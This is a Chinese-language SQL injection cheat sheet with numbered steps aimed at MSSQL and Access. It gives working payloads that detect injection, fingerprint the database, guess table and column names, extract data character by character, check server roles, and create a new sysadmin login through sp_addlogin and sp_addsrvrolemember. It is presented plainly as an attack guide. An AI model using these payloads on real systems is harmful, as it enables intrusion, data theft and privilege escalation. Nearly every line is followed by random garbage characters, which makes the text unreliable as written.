1.判断是否有注入;and 1=1 ;and 1=2 z9W`FBg
2.初步判断是否是mssql ;and user>0 4E44Hzs
D[O{(<9
3.注入参数是字符'and [查询条件] and ''=' ?}Z1(it0
FZB~|3eq{
4.搜索时没过滤参数的'and [查询条件] and '%25'=' $ _8g8r}
\yrisp#`
5.判断数据库系统 :hGPTf
<lr*ZSNY
;and (select count(*) from sysobjects)>0 mssql H7i$xWs
7\o!HMfK
;and (select count(*) from msysobjects)>0 access H1!iP$1#V
SM[Bv9|0
>]'yK!a?
K}[>T(0E
6.猜数据库 ;and (select Count(*) from [数据库名])>0 ck#"*],
L]a`"CH:a$
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 9>/wUQs!]
iE0ab,OF
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 =TR,~8Z|
Gf8s?l
9.(1)猜字段的ascii值(access) G
;?qWB,
Lw1T 4n
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 l0*Gb
3CTX -#)vS
(2)猜字段的ascii值(mssql) ?_\$
(3\Xy
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 7dihVvL
$
Q bhW!9(,
10.测试权限结构(mssql) +@X5!S6
^s\3/z>b4!
qdCWy
{Hr$wa~
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- wLuv6\E
{|9}+
@5Q1
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- 4t4olkK3Oa
QD{:vG
g
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- `h;k2Se5
lC97_T
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- dAJ,x
=`
'+<(;2Z
vL
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- F?Ju??O
;%J5=f%z)
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- 89o)M5KQ
'NZGQebK
;and 1=(select IS_MEMBER('db_owner'));-- %Qn(rA@9
"a1O01n
Np)3+!^1"
b7C
e%Br
11.添加mssql和系统的帐户 U7&x rif
"rXOsX\;
;exec master.dbo.sp_addlogin username;-- ;??ohA"{5
;exec master.dbo.sp_password null,username,password;-- NGjdG=,
E_$z`or
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- 'f?.R&